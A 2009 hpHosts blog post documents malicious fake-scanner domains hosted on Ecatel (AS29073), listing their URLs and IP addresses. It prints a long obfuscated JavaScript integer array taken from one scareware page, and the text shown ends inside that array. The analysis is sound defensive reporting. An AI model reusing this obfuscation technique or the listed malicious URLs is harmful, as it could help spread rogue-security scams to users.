Blog for hpHosts, and whatever else I feel like writing about ....

Sunday 15 November 2009

Crimeware friendly ISP's: Ecatel (AS29073)

Ecatel (AS29073) have been on the radar for quite some time now, and looking at the amount of malicious content on their network, I'm not expecting this to go away any time soon.

What I do find interesting, is the newest domains I've come across on their network, appear to be trying (and very badly I might add) to confuse automated analysis by obfuscating the code of the site you're eventually taken to by for example, the blackhat SEO campaigns. The following for example, is a couple of those I've recently come across:

online-check-v1.com/scan1/?pid=283s1&engine=%3DHQx2DjuODkuMTIzLjU2JnRpbWU9MTI1MzMyMA0OaA%3DO
perfectscan01.com/1/?sess=%3DWG19jDwOC0xJmlwPTgyLjM5LjEyMy41NiZ0aW1lPTEyNTQzMAIMNQkM

online-check-v1.com is located at 93.174.93.188 (AS: 29073 93.174.88.0/21 ECATEL-AS AS29073, Ecatel Network), with perfectscan01.com being located at 89.248.162.149 (AS: 29073 89.248.160.0/21 ECATEL-AS AS29073, Ecatel Network).

If we take a look at the source code for one of these, we see the following bit of lovelyness;

var str=[417,467,523,512,523,515,508,469,474,518,516,519,524,523,508,521,439,490,508,506,524,521,512,523,528,467,454,523,512,523,515,508,469,417,467,522,506,521,512,519,523,439,523,528,519,508,468,441,523,508,527,523,454,513,504,525,504,522,506,521,512,519,523,441,439,522,521,506,468,441,512,516,510,454,513,520,524,508,521,528,453,513,522,441,469,467,454,522,506,521,512,519,523,469,417,467,522,506,521,512,519,523,439,523,528,519,508,468,441,523,508,527,523,454,513,504,525,504,522,506,521,512,519,523,441,439,522,521,506,468,441,512,516,510,454,513,520,524,508,521,528,452,512,517,512,523,453,513,522,441,469,467,454,522,506,521,512,519,523,469,417,467,522,506,521,512,519,523,439,523,528,519,508,468,441,523,508,527,523,454,513,504,525,504,522,506,521,512,519,523,441,439,522,521,506,468,441,512,516,510,454,507,521,524,510,517,507,521,518,519,453,513,522,441,469,467,454,522,506,521,512,519,523,469,417,467,522,506,521,512,519,523,469,417,417,525,504,521,439,509,517,516,468,517,508,526,439,472,521,521,504,528,447,448,466,417,509,517,516,498,455,500,439,468,439,446,443,453,512,517,509,446,466,417,509,517,516,498,456,500,439,468,439,446,456,457,460,457,455,459,458,462,453,506,519,527,446,466,417,509,517,516,498,457,500,439,468,439,446,456,457,460,457,455,463,460,455,453,506,519,527,446,466,417,509,517,516,498,458,500,439,468,439,446,461,523,518,459,522,525,506,453,507,515,515,446,466,417,509,517,516,498,459,500,439,468,439,446,453,507,515,515,446,466,417,509,517,516,498,460,500,439,468,439,446,504,504,506,515,512,508,517,523,453,507,515,515,446,466,417,509,517,516,498,461,500,439,468,439,446,472,505,518,524,523,489,508,519,515,512,478,518,453,507,515,515,446,466,417,509,517,516,498,462,500,439,468,439,446,504,506,458,504,506,516,453,504,506,516,446,466,417,509,517,516,498,463,500,439,468,439,446,504,506,506,508,522,522,453,506,519,515,446,466,417,509,517,516,498,464,500,439,468,439,446,504,506,506,523,521,508,522,453,507,515,515,446,466,417,509,517,516,498,456,455,500,439,468,439,446,504,506,506,526,512,529,453,508,527,508,446,466,417,509,517,516,498,456,456,500,439,468,439,446,504,506,508,515,519,507,508,506,453,504,527,446,466,417,509,517,516,498,456,457,500,439,468,439,446,504,506,515,508,507,512,523,453,507,515,515,446,466,417,509,517,516,498,456,458,500,439,468,439,446,504,506,515,524,512,453,507,515,515,446,466,417,509,517,516,498,456,459,500,439,468,439,446,504,506,523,512,525,508,507,522,453,507,515,515,446,466,417,509,517,516,498,456,460,500,439,468,439,446,504,506,523,512,525,508,507,522,453,523,515,505,446,466,417,509,517,516,498,456,461,500,439,468,439,446,504,506,523,516,518,525,512,508,453,508,527,508,446,466,417,509,517,516,498,456,462,500,439,468,439,446,504,506,523,527,519,521,527,528,453,507,515,515,446,466,417,509,517,516,498,456,463,500,439,468,439,446,472,475,484,476,453,475,483,483,446,466,417,509,517,516,498,456,464,500,439,468,439,446,504,507,516,519,504,521,522,508,453,507,515,515,446,466,417,509,517,516,498,457,455,500,439,468,439,446,504,507,516,526,519,521,518,527,453,507,515,515,446,466,417,509,517,516,498,457,456,500,439,468,439,446,504,507,516,527,519,521,518,527,453,507,515,515,446,466,417,509,517,516,498,457,457,500,439,468,439,446,504,507,519,523,512,509,453,507,515,515,446,466,417,509,517,516,498,457,458,500,439,468,439,446,504,507,522,512,512,522,453,507,515,515,446,466,417,509,517,516,498,457,459,500,439,468,439,446,504,507,522,515,507,519,453,507,515,515,446,466,417,509,517,516,498,457,460,500,439,468,439,446,504,507,522,515,507,519,506,453,507,515,515,446,466,417,509,517,516,498,457,461,500,439,468,439,446,504,507,522,516,522,508,527,523,453,507,515,515,446,466,417,509,517,516,498,457,462,500,439,468,439,446,504,507,522,517,507,522,453,507,515,515,446,466,417,509,517,516,498,457,463,500,439,468,439,446,504,507,522,517,523,453,507,515,515,446,466,417,509,517,516,498,457,464,500,439,468,439,446,504,507,522,517,526,453,507,515,515,446,466,417,509,517,516,498,458,455,500,439,468,439,446,504,507,525,504,519,512,458,457,453,507,515,515,446,466,417,509,517,516,498,458,456,500,439,468,439,446,504,507,525,519,504,506,514,453,507,515,515,446,466,417,509,517,516,498,458,457,500,439,468,439,446,504,510,504,522,453,507,515,515,446,466,417,509,517,516,498,458,458,500,439,468,439,446,504,511,524,512,453,508,527,508,446,466,417,509,517,516,498,458,459,500,439,468,439,446,504,515,510,453,508,527,508,446,466,417,509,517,516,498,458,460,500,439,468,439,446,504,515,521,522,525,506,453,507,515,515,446,466,417,509,517,516,498,458,461,500,439,468,439,446,504,516,506,518,516,519,504,523,453,523,515,505,446,466,417,509,517,516,498,458,462,500,439,468,439,446,504,516,522,523,521,508,504,516,453,507,515,515,446,466,417,509,517,516,498,458,463,500,439,468,439,446,504,517,522,512,453,522,528,522,446,466,417,509,517,516,498,458,464,500,439,468,439,446,504,519,506,524,519,522,453,507,515,515,446,466,417,509,517,516,498,459,455,500,439,468,439,446,504,519,519,508,517,507,453,508,527,508,446,466,417,509,517,516,498,459,456,500,439,468,439,446,504,519,519,511,508,515,519,453,507,515,515,446,466,417,509,517,516,498,459,457,500,439,468,439,446,504,519,519,516,510,516,523,522,453,507,515,515,446,466,417,509,517,516,498,459,458,500,439,468,439,446,504,519,519,516,510,521,453,507,515,515,446,466,417,509,517,516,498,459,459,500,439,468,439,446,504,519,519,526,512,529,453,506,519,515,446,466,417,509,517,516,498,459,460,500,439,468,439,446,472,521,516,472,506,506,508,522,522,453,507,515,515,446,466,417,509,517,516,498,459,461,500,439,468,439,446,504,521,519,453,508,527,508,446,466,417,509,517,516,498,459,462,500,439,468,439,446,504,522,506,523,521,515,522,453,518,506,527,446,466,417,509,517,516,498,459,463,500,439,468,439,446,504,522,509,508,521,521,518,521,453,507,515,515,446,466,417,509,517,516,498,459,464,500,439,468,439,446,504,522,509,522,512,519,506,453,507,515,515,446,466,417,509,517,516,498,460,455,500,439,468,439,446,504,522,521,502,509,516,523,453,508,527,508,446,466,417,509,517,516,498,460,456,500,439,468,439,446,504,522,521,502,515,507,516,453,508,527,508,446,466,417,509,517,516,498,460,457,500,439,468,439,446,504,522,521,502,519,509,524,453,508,527,508,446,466,417,509,517,516,498,460,458,500,439,468,439,446,504,522,528,506,509,512,515,523,453,507,515,515,446,466,417,509,517,516,498,460,459,500,439,468,439,446,504,523,453,508,527,508,446,466,417,509,517,516,498,460,460,500,439,468,439,446,472,523,504,515,504,480,516,510,457,453,507,515,515,446,466,417,509,517,516,498,460,461,500,439,468,439,446,472,523,504,515,504,480,490,453,507,515,515,446,466,417,509,517,516,498,460,462,500,439,468,439,446,472,523,504,515,474,523,521,515,453,518,506,527,446,466,417,509,517,516,498,460,463,500,439,468,439,446,504,523,511,519,521,527,528,453,507,515,515,446,466,417,509,517,516,498,460,464,500,439,468,439,446,504,523,512,457,506,520,504,510,453,507,515,515,446,466,417,509,517,516,498,461,455,500,439,468,439,446,504,523,512,457,507,525,504,510,453,507,515,515,446,466,417,509,517,516,498,461,456,500,439,468,439,446,504,523,512,457,508,507,527,527,453,507,515,515,446,466,417,509,517,516,498,461,457,500,439,468,439,446,504,523,512,457,508,525,527,527,453,507,515,515,446,466,417,509,517,516,498,461,458,500,439,468,439,446,504,523,512,457,508,525,527,527,453,508,527,508,446,466,417,509,517,516,498,461,459,500,439,468,439,446,472,523,512,457,516,507,527,527,453,508,527,508,446,466,417,509,517,516,498,461,460,500,439,468,439,446,504,523,512,457,522,510,504,510,453,508,527,508,446,466,417,509,517,516,498,461,461,500,439,468,439,446,504,523,512,458,507,524,504,510,453,507,515,515,446,466,417,509,517,516,498,461,462,500,439,468,439,446,472,491,480,475,475,474,453,475,483,483,446,466,417,509,517,516,498,461,463,500,439,468,439,446,472,491,480,475,476,484,478,489,453,507,515,515,446,466,417,509,517,516,498,461,464,500,439,468,439,446,472,491,480,475,476,484,478,495,453,507,515,515,446,466,417,509,517,516,498,462,455,500,439,468,439,446,504,523,512,509,510,515,519,509,453,527,516,515,446,466,417,509,517,516,498,462,456,500,439,468,439,446,504,523,512,512,506,507,527,527,453,507,504,523,446,466,417,509,517,516,498,462,457,500,439,468,439,446,504,523,512,512,512,508,527,527,453,507,515,515,446,466,417,509,517,516,498,462,458,500,439,468,439,446,504,523,512,514,525,516,504,510,453,507,515,515,446,466,417,509,517,516,498,462,459,500,439,468,439,446,504,523,512,518,510,515,527,456,453,507,515,515,446,466,417,509,517,516,498,462,460,500,439,468,439,446,504,523,512,518,510,515,527,457,453,507,515,515,446,466,417,509,517,516,498,462,461,500,439,468,439,446,504,523,512,518,510,515,527,527,453,507,515,515,446,466,417,509,517,516,498,462,462,500,439,468,439,446,504,523,512,518,514,458,527,457,453,507,515,515,446,466,417,509,517,516,498,462,463,500,439,468,439,446,504,523,512,519,507,515,527,527,453,507,515,515,446,466,417,509,517,516,498,462,464,500,439,468,439,446,504,523,512,523,525,518,458,457,453,507,515,515,446,466,417,509,517,516,498,463,455,500,439,468,439,446,504,523,512,525,506,518,527,527,453,507,515,515,446,466,417,509,517,516,498,463,456,500,439,468,439,446,504,523,512,525,525,504,460,527,453,507,504,523,446,466,417,509,517,516,498,463,457,500,439,468,439,446,504,523,512,525,525,504,461,527,453,507,504,523,446,466,417,509,517,516,498,463,458,500,439,468,439,446,504,523,512,525,525,504,527,527,453,507,504,523,446,466,417,509,517,516,498,463,459,500,439,468,439,446,504,523,512,525,525,504,527,527,453,507,515,515,446,466,417,509,517,516,498,463,460,500,439,468,439,446,504,523,514,506,523,521,522,453,507,515,515,446,466,417,509,517,516,498,463,461,500,439,468,439,446,504,523,515,453,507,515,515,446,466,417,509,517,516,498,463,462,500,439,468,439,446,504,523,515,462,456,453,507,515,515,446,466,417,509,517,516,498,463,463,500,439,468,439,446,472,523,515,474,518,515,518,521,453,518,506,527,446,466,417,509,517,516,498,463,464,500,439,468,439,446,504,523,516,504,507,516,453,508,527,508,446,466,417,509,517,516,498,464,455,500,439,468,439,446,504,523,516,509,507,453,507,515,515,446,466,417,509,517,516,498,464,456,500,439,468,439,446,504,523,516,515,512,505,453,507,515,515,446,466,417,509,517,516,498,464,457,500,439,468,439,446,504,523,516,519,525,506,517,518,453,507,515,515,446,466,417,509,517,516,498,464,458,500,439,468,439,446,504,523,521,504,506,508,453,507,515,515,446,466,417,509,517,516,498,464,459,500,439,468,439,446,504,523,523,521,512,505,453,508,527,508,446,466,417,509,517,516,498,464,460,500,439,468,439,446,472,524,507,512,518,507,508,525,453,507,515,515,446,466,417,509,517,516,498,464,461,500,439,468,439,446,504,524,507,512,518,522,521,525,453,507,515,515,446,466,417,509,517,516,498,464,462,500,439,468,439,446,504,524,507,512,523,524,522,521,453,508,527,508,446,466,417,509,517,516,498,464,463,500,439,468,439,446,504,524,523,511,529,453,507,515,515,446,466,417,509,517,516,498,464,464,500,439,468,439,446,504,524,523,518,506,511,514,453,508,527,508,446,466,417,509,517,516,498,456,455,455,500,439,468,439,446,504,524,523,518,506,518,517,525,453,508,527,508,446,466,417,509,517,516,498,456,455,456,500,439,468,439,446,504,524,523,518,507,512,522,506,453,507,515,515,446,466,417,509,517,516,498,456,455,457,500,439,468,439,446,472,492,491,486,476,495,476,474,453,485,491,446,466,417,509,517,516,498,456,455,458,500,439,468,439,446,504,524,523,518,509,516,523,453,508,527,508,446,466,417,509,517,516,498,456,455,459,500,439,468,439,446,504,524,523,518,515,509,517,453,508,527,508,446,466,417,509,517,516,498,456,455,460,500,439,468,439,446,504,525,512,506,504,519,453,507,515,515,446,466,417,509,517,516,498,456,455,461,500,439,468,439,446,504,525,512,506,504,519,458,457,453,507,515,515,446,466,417,509,517,516,498,456,455,462,500,439,468,439,446,504,525,512,509,512,515,458,457,453,507,515,515,446,466,417,509,517,516,498,456,455,463,500,439,468,439,446,504,525,512,509,512,515,508,453,507,515,515,446,466,417,509,517,516,498,456,455,464,500,439,468,439,446,504,525,516,508,523,508,521,453,507,515,515,446,466,417,509,517,516,498,456,456,455,500,439,468,439,446,504,525,523,504,519,512,453,507,515,515,446,466,417,509,517,516,498,456,456,456,500,439,468,439,446,504,525,526,504,525,453,507,515,515,446,466,417,509,517,516,498,456,456,457,500,439,468,439,446,505,504,522,508,522,521,525,453,507,515,515,446,466,417,509,517,516,498,456,456,458,500,439,468,439,446,505,504,522,522,453,507,515,515,446,466,417,509,517,516,498,456,456,459,500,439,468,439,446,473,472,490,490,484,486,475,453,507,515,515,446,466,417,509,517,516,498,456,456,460,500,439,468,439,446,505,504,522,522,526,516,504,453,507,515,515,446,466,417,509,517,516,498,456,456,461,500,439,468,439,446,505,504,523,516,508,523,508,521,453,507,515,515,446,466,417,509,517,516,498,456,456,462,500,439,468,439,446,505,504,523,523,453,507,515,515,446,466,417,509,517,516,498,456,456,463,500,439,468,439,446,473,474,478,474,473,487,489,486,463,455,455,453,507,515,515,446,466,417,509,517,516,498,456,456,464,500,439,468,439,446,473,474,478,474,473,487,489,486,463,455,455,524,453,507,515,515,446,466,417,509,517,516,498,456,457,455,500,439,468,439,446,473,474,478,487,486,515,508,472,506,506,453,507,515,515,446,466,417,509,517,516,498,456,457,456,500,439,468,439,446,505,512,507,512,522,519,515,453,507,515,515,446,466,417,509,517,516,498,456,457,457,500,439,468,439,446,505,512,518,522,456,453,521,518,516,446,466,417,509,517,516,498,456,457,458,500,439,468,439,446,505,512,518,522,459,453,521,518,516,446,466,417,509,517,516,498,456,457,459,500,439,468,439,446,505,512,523,522,519,521,527,457,453,507,515,515,446,466,417,509,517,516,498,456,457,460,500,439,468,439,446,505,512,523,522,519,521,527,458,453,507,515,515,446,466,417,509,517,516,498,456,457,461,500,439,468,439,446,505,515,504,506,514,505,518,527,453,507,515,515,446,466,417,509,517,516,498,456,457,462,500,439,468,439,446,505,515,504,522,523,506,515,517,453,508,527,508,446,466,417,509,517,516,498,456,457,463,500,439,468,439,446,505,518,518,523,506,509,510,453,508,527,508,446,466,417,509,517,516,498,456,457,464,500,439,468,439,446,505,518,518,523,518,514,453,508,527,508,446,466,417,509,517,516,498,456,458,455,500,439,468,439,446,505,518,518,523,525,512,507,453,507,515,515,446,466,417,509,517,516,498,456,458,456,500,439,468,439,446,505,518,518,523,525,521,509,528,453,508,527,508,446,466,417,509,517,516,498,456,458,457,500,439,468,439,446,505,518,519,518,516,518,509,518,453,524,506,508,446,466,417,509,517,516,498,456,458,458,500,439,468,439,446,505,521,518,526,522,508,515,506,453,507,515,515,446,466,417,509,517,516,498,456,458,459,500,439,468,439,446,505,521,518,526,522,508,521,453,507,515,515,446,466,417,509,517,516,498,456,458,460,500,439,468,439,446,505,521,518,526,522,508,524,512,453,507,515,515,446,466,417,509,517,516,498,456,458,461,500,439,468,439,446,505,521,518,526,522,508,526,516,453,507,515,515,446,466,417,509,517,516,498,456,458,462,500,439,468,439,446,505,523,457,514,502,512,517,522,453,507,515,515,446,466,417,509,517,516,498,456,458,463,500,439,468,439,446,473,523,472,524,507,512,518,479,508,515,519,508,521,453,507,515,515,446,466,417,509,517,516,498,456,458,464,500,439,468,439,446,505,523,505,512,510,505,516,519,453,507,515,515,446,466,417,509,517,516,498,456,459,455,500,439,468,439,446,505,523,505,512,519,453,507,515,515,446,466,417,509,517,516,498,456,459,456,500,439,468,439,446,505,523,506,519,515,453,506,519,515,446,466,417,509,517,516,498,456,459,457,500,439,468,439,446,505,523,506,519,515,453,506,519,515,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,459,458,500,439,468,439,446,505,523,506,522,522,453,507,515,515,446,466,417,509,517,516,498,456,459,459,500,439,468,439,446,505,523,506,522,522,453,507,515,515,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,459,460,500,439,468,439,446,505,523,507,508,525,453,507,515,515,446,466,417,509,517,516,498,456,459,461,500,439,468,439,446,505,523,511,506,512,453,507,515,515,446,466,417,509,517,516,498,456,459,462,500,439,468,439,446,505,523,511,506,521,519,453,507,515,515,446,466,417,509,517,516,498,456,459,463,500,439,468,439,446,505,523,511,506,521,519,524,512,453,507,515,515,446,466,417,509,517,516,498,456,459,464,500,439,468,439,446,505,523,511,519,521,518,519,522,453,506,519,515,446,466,417,509,517,516,498,456,460,455,500,439,468,439,446,505,523,511,522,508,521,525,453,507,515,515,446,466,417,509,517,516,498,456,460,456,500,439,468,439,446,505,523,512,517,522,453,507,515,515,446,466,417,509,517,516,498,456,460,457,500,439,468,439,446,473,491,485,474,518,519,528,453,507,515,515,446,466,417,509,517,516,498,456,460,458,500,439,468,439,446,473,491,485,474,518,519,528,453,523,515,505,446,466,417,509,517,516,498,456,460,459,500,439,468,439,446,473,491,485,508,512,510,511,505,518,521,511,518,518,507,453,507,515,515,446,466,417,509,517,516,498,456,460,460,500,439,468,439,446,473,491,485,508,512,510,511,505,518,521,511,518,518,507,453,507,515,515,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,460,461,500,439,468,439,446,473,491,485,508,512,510,511,505,518,521,511,518,518,507,453,523,515,505,446,466,417,509,517,516,498,456,460,462,500,439,468,439,446,505,523,518,522,512,509,453,507,515,515,446,466,417,509,517,516,498,456,460,463,500,439,468,439,446,505,523,518,522,512,509,502,517,518,523,508,522,453,507,515,515,446,466,417,509,517,516,498,456,460,464,500,439,468,439,446,505,523,518,522,512,509,502,518,515,453,507,515,515,446,466,417,509,517,516,498,456,461,455,500,439,468,439,446,505,523,518,522,512,509,502,518,515,527,453,507,515,515,446,466,417,509,517,516,498,456,461,456,500,439,468,439,446,505,523,519,504,517,524,512,453,507,515,515,446,466,417,509,517,516,498,456,461,457,500,439,468,439,446,505,523,519,521,517,457,514,453,507,515,515,446,466,417,509,517,516,498,456,461,458,500,439,468,439,446,505,523,521,508,529,453,507,515,515,446,466,417,509,517,516,498,456,461,459,500,439,468,439,446,505,523,521,508,529,527,519,453,507,515,515,446,466,417,509,517,516,498,456,461,460,500,439,468,439,446,505,523,522,508,506,453,507,515,515,446,466,417,509,517,516,498,456,461,461,500,439,468,439,446,505,523,522,508,517,507,523,518,453,507,515,515,446,466,417,509,517,516,498,456,461,462,500,439,468,439,446,505,523,522,508,517,507,523,518,502,512,508,453,507,515,515,446,466,417,509,517,516,498,456,461,463,500,439,468,439,446,505,523,522,508,517,507,523,518,502,515,517,504,510,508,517,523,453,517,522,509,446,466,417,509,517,516,498,456,461,464,500,439,468,439,446,505,523,522,508,517,507,523,518,502,517,518,523,508,522,453,507,515,515,446,466,417,509,517,516,498,456,462,455,500,439,468,439,446,505,523,522,508,517,507,523,518,502,518,509,509,512,506,508,453,507,515,515,446,466,417,509,517,516,498,456,462,456,500,439,468,439,446,505,523,522,508,517,507,523,518,502,526,504,505,453,507,515,515,446,466,417,509,517,516,498,456,462,457,500,439,468,439,446,505,523,526,511,512,507,506,522,453,507,515,515,446,466,417,509,517,516,498,456,462,458,500,439,468,439,446,473,523,494,512,504,476,527,523,453,507,515,515,446,466,417,509,517,516,498,456,462,459,500,439,468,439,446,473,523,494,512,529,504,521,507,453,507,515,515,446,466,417,509,517,516,498,456,462,460,500,439,468,439,446,505,523,526,519,512,516,512,509,453,507,515,515,446,466,417,509,517,516,498,456,462,461,500,439,468,439,446,505,523,526,502,506,512,453,507,515,515,446,466,417,509,517,516,498,456,462,462,500,439,468,439,446,473,491,495,487,487,504,517,508,515,453,507,515,515,446,466,417,509,517,516,498,456,462,463,500,439,468,439,446,473,491,495,487,487,504,517,508,515,453,523,515,505,446,466,417,509,517,516,498,456,462,464,500,439,468,439,446,473,523,495,519,490,511,508,515,515,453,507,515,515,446,466,417,509,517,516,498,456,463,455,500,439,468,439,446,474,452,495,483,490,453,507,515,515,446,466,417,509,517,516,498,456,463,456,500,439,468,439,446,506,504,505,512,517,508,523,453,507,515,515,446,466,417,509,517,516,498,456,463,457,500,439,468,439,446,506,504,505,525,512,508,526,453,507,515,515,446,466,417,509,517,516,498,456,463,458,500,439,468,439,446,506,504,506,515,522,453,508,527,508,446,466,417,509,517,516,498,456,463,459,500,439,468,439,446,506,504,515,506,453,508,527,508,446,466,417,509,517,516,498,456,463,460,500,439,468,439,446,506,504,516,518,506,527,453,507,515,515,446,466,417,509,517,516,498,456,463,461,500,439,468,439,446,506,504,519,508,522,517,519,517,453,507,515,515,446,466,417,509,517,516,498,456,463,462,500,439,468,439,446,506,504,521,507,522,453,507,515,515,446,466,417,509,517,516,498,456,463,463,500,439,468,439,446,506,504,523,522,521,525,453,507,515,515,446,466,417,509,517,516,498,456,463,464,500,439,468,439,446,506,504,523,522,521,525,519,522,453,507,515,515,446,466,417,509,517,516,498,456,464,455,500,439,468,439,446,506,504,523,522,521,525,524,523,453,507,515,515,446,466,417,509,517,516,498,456,464,456,500,439,468,439,446,506,506,509,510,517,523,453,507,515,515,446,466,417,509,517,516,498,456,464,457,500,439,468,439,446,506,506,521,519,505,507,522,461,453,507,515,515,446,466,417,509,517,516,498,456,464,458,500,439,468,439,446,506,506,521,519,519,521,510,461,453,518,506,527,446,466,417,509,517,516,498,456,464,459,500,439,468,439,446,506,507,509,525,512,508,526,453,507,515,515,446,466,417,509,517,516,498,456,464,460,500,439,468,439,446,506,507,516,453,507,515,515,446,466,417,509,517,516,498,456,464,461,500,439,468,439,446,506,507,516,518,507,508,516,453,507,515,515,446,466,417,509,517,516,498,456,464,462,500,439,468,439,446,506,507,518,522,528,522,453,507,515,515,446,466,417,509,517,516,498,456,464,463,500,439,468,439,446,506,507,519,515,504,528,508,521,453,508,527,508,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,464,464,500,439,468,439,446,474,475,489,512,519,458,453,507,515,515,446,466,417,509,517,516,498,457,455,455,500,439,468,439,446,506,508,521,523,506,515,512,453,507,515,515,446,466,417,509,517,516,498,457,455,456,500,439,468,439,446,506,508,521,523,516,510,521,453,507,515,515,446,466,417,509,517,516,498,457,455,457,500,439,468,439,446,506,508,521,523,516,510,521,453,516,522,506,446,466,417,509,517,516,498,457,455,458,500,439,468,439,446,474,476,494,484,475,484,453,507,515,515,446,466,417,509,517,516,498,457,455,459,500,439,468,439,446,506,509,510,505,514,508,517,507,453,507,515,515,446,466,417,509,517,516,498,457,455,460,500,439,468,439,446,506,509,510,516,510,521,458,457,453,507,515,515,446,466,417,509,517,516,498,457,455,461,500,439,468,439,446,506,511,504,521,516,504,519,453,508,527,508,446,466,417,509,517,516,498,457,455,462,500,439,468,439,446,474,511,474,509,510,453,508,527,508,446,466,417,509,517,516,498,457,455,463,500,439,468,439,446,506,511,506,519,453,506,518,516,446,466,417,509,517,516,498,457,455,464,500,439,468,439,446,506,511,514,507,522,514,453,508,527,508,446,466,417,509,517,516,498,457,456,455,500,439,468,439,446,506,511,514,517,523,509,522,453,508,527,508,446,466,417,509,517,516,498,457,456,456,500,439,468,439,446,506,512,504,507,516,512,517,453,507,515,515,446,466,417,509,517,516,498,457,456,457,500,439,468,439,446,506,512,504,507,525,453,516,522,506,446,466,417,509,517,516,498,457,456,458,500,439,468,439,446,506,512,506,453,507,515,515,446,466,417,509,517,516,498,457,456,459,500,439,468,439,446,506,512,507,504,508,516,518,517,453,508,527,508,446,466,417,509,517,516,498,457,456,460,500,439,468,439,446,506,512,518,507,516,453,507,515,515,446,466,417,509,517,516,498,457,456,461,500,439,468,439,446,506,512,519,511,508,521,453,508,527,508,446,466,417,509,517,516,498,457,456,462,500,439,468,439,446,506,512,522,525,506,453,508,527,508,446,466,417,509,517,516,498,457,456,463,500,439,468,439,446,506,514,506,517,525,453,508,527,508,446,466,417,509,517,516,498,457,456,464,500,439,468,439,446,506,515,505,453,507,515,515,446,466,417,509,517,516,498,457,457,455,500,439,468,439,446,506,515,505,506,504,523,508,527,453,507,515,515,446,466,417,509,517,516,498,457,457,456,500,439,468,439,446,506,515,505,506,504,523,520,453,507,515,515,446,466,417,509,517,516,498,457,457,457,500,439,468,439,446,506,515,508,504,517,516,510,521,453,508,527,508,446,466,417,509,517,516,498,457,457,458,500,439,468,439,446,506,515,512,506,518,517,509,453,506,511,516,446,466,417,509,517,516,498,457,457,459,500,439,468,439,446,506,515,512,506,518,517,509,510,453,507,515,515,446,466,417,509,517,516,498,457,457,460,500,439,468,439,446,506,515,512,506,518,517,509,510,453,508,527,508,446,466,417,509,517,516,498,457,457,461,500,439,468,439,446,506,515,512,506,518,517,509,510,453,521,515,515,446,466,417,509,517,516,498,457,457,462,500,439,468,439,446,506,515,512,519,505,521,507,453,508,527,508,446,466,417,509,517,516,498,457,457,463,500,439,468,439,446,506,515,512,519,522,521,525,453,508,527,508,446,466,417,509,517,516,498,457,457,464,500,439,468,439,446,506,515,522,519,504,506,514,453,508,527,508,446,466,417,509,517,516,498,457,458,455,500,439,468,439,446,506,515,524,522,504,519,512,453,507,515,515,446,466,417,509,517,516,498,457,458,456,500,439,468,439,446,506,516,506,509,510,458,457,453,507,515,515,446,466,417,509,517,516,498,457,458,457,500,439,468,439,446,506,516,507,453,508,527,508,446,466,417,509,517,516,498,457,458,458,500,439,468,439,446,506,516,507,512,504,515,458,457,453,507,515,515,446,466,417,509,517,516,498,457,458,459,500,439,468,439,446,474,484,475,480,472,483,486,478,453,490,489,478,446,466,417,509,517,516,498,457,458,460,500,439,468,439,446,506,516,507,515,458,457,453,508,527,508,446,466,417,509,517,516,498,457,458,461,500,439,468,439,446,506,516,507,515,512,505,453,526,522,506,446,466,417,509,517,516,498,457,458,462,500,439,468,439,446,474,516,507,483,512,517,508,476,527,523,453,507,515,515,446,466,417,509,517,516,498,457,458,463,500,439,468,439,446,506,516,516,510,521,458,457,453,511,515,519,446,466,417,509,517,516,498,457,458,464,500,439,468,439,446,506,516,516,518,517,458,457,453,508,527,508,446,466,417,509,517,516,498,457,459,455,500,439,468,439,446,506,516,518,522,453,521,504,516,446,466,417,509,517,516,498,457,459,456,500,439,468,439,446,506,516,519,505,514,458,457,453,507,515,515,446,466,417,509,517,516,498,457,459,457,500,439,468,439,446,506,516,519,521,518,519,522,453,507,515,515,446,466,417,509,517,516,498,457,459,458,500,439,468,439,446,506,516,522,508,523,472,474,483,453,507,515,515,446,466,417,509,517,516,498,457,459,459,500,439,468,439,446,506,516,522,523,519,453,508,527,508,446,466,417,509,517,516,498,457,459,460,500,439,468,439,446,506,516,524,523,512,515,453,507,515,515,446,466,417,509,517,516,498,457,459,461,500,439,468,439,446,506,517,505,513,516,518,517,453,507,515,515,446,466,417,509,517,516,498,457,459,462,500,439,468,439,446,506,517,508,523,506,509,510,453,507,515,515,446,466,417,509,517,516,498,457,459,463,500,439,468,439,446,506,517,525,509,504,523,453,507,515,515,446,466,417,509,517,516,498,457,459,464,500,439,468,439,446,506,518,515,505,504,506,523,453,507,515,515,446,466,417,509,517,516,498,457,460,455,500,439,468,439,446,506,518,516,504,507,507,512,517,453,507,515,515,446,466,417,509,517,516,498,457,460,456,500,439,468,439,446,506,518,516,506,504,523,453,507,515,515,446,466,417,509,517,516,498,457,460,457,500,439,468,439,446,506,518,516,506,523,457,458,457,453,518,506,527,446,466,417,509,517,516,498,457,460,458,500,439,468,439,446,506,518,516,506,523,458,458,457,453,518,506,527,446,466,417,509,517,516,498,457,460,459,500,439,468,439,446,474,486,484,474,491,483,453,490,489,478,446,466,417,509,517,516,498,457,460,460,500,439,468,439,446,474,486,484,474,491,483,457,453,490,489,478,446,466,417,509,517,516,498,457,460,461,500,439,468,439,446,506,518,516,506,523,515,458,457,453,507,515,515,446,466,417,509,517,516,498,457,460,462,500,439,468,439,446,506,518,516,506,523,515,458,457,453,518,506,527,446,466,417,509,517,516,498,457,460,463,500,439,468,439,446,506,518,516,507,515,510,458,457,453,507,515,515,446,466,417,509,517,516,498,457,460,464,500,439,468,439,446,506,518,516,507,515,510,458,457,453,518,506,527,446,466,417,509,517,516,498,457,461,455,500,439,468,439,446,506,518,516,516,453,507,521,525,446,466,417,509,517,516,498,457,461,456,500,439,468,439,446,506,518,516,516,504,517,507,453,506,518,516,446,466,417,509,517,516,498,457,461,457,500,439,468,439,446,506,518,516,516,507,515,510,453,507,515,515,446,466,417,509,517,516,498,457,461,458,500,439,468,439,446,474,486,484,484,491,473,458,457,453,475,483,483,446,466,417,509,517,516,498,457,461,459,500,439,468,439,446,506,518,516,519,453,508,527,508,446,466,417,509,517,516,498,457,461,460,500,439,468,439,446,506,518,516,519,504,506,523,453,508,527,508,446,466,417,509,517,516,498,457,461,461,500,439,468,439,446,474,518,516,519,504,521,508,477,512,515,508,522,495,453,518,506,527,446,466,417,509,517,516,498,457,461,462,500,439,468,439,446,506,518,516,519,504,523,492,480,453,507,515,515,446,466,417,509,517,516,498,457,461,463,500,439,468,439,446,506,518,516,519,516,510,516,523,453,516,522,506,446,466,417,509,517,516,498,457,461,464,500,439,468,439,446,506,518,516,519,518,505,513,453,507,515,515,446,466,417,509,517,516,498,457,462,455,50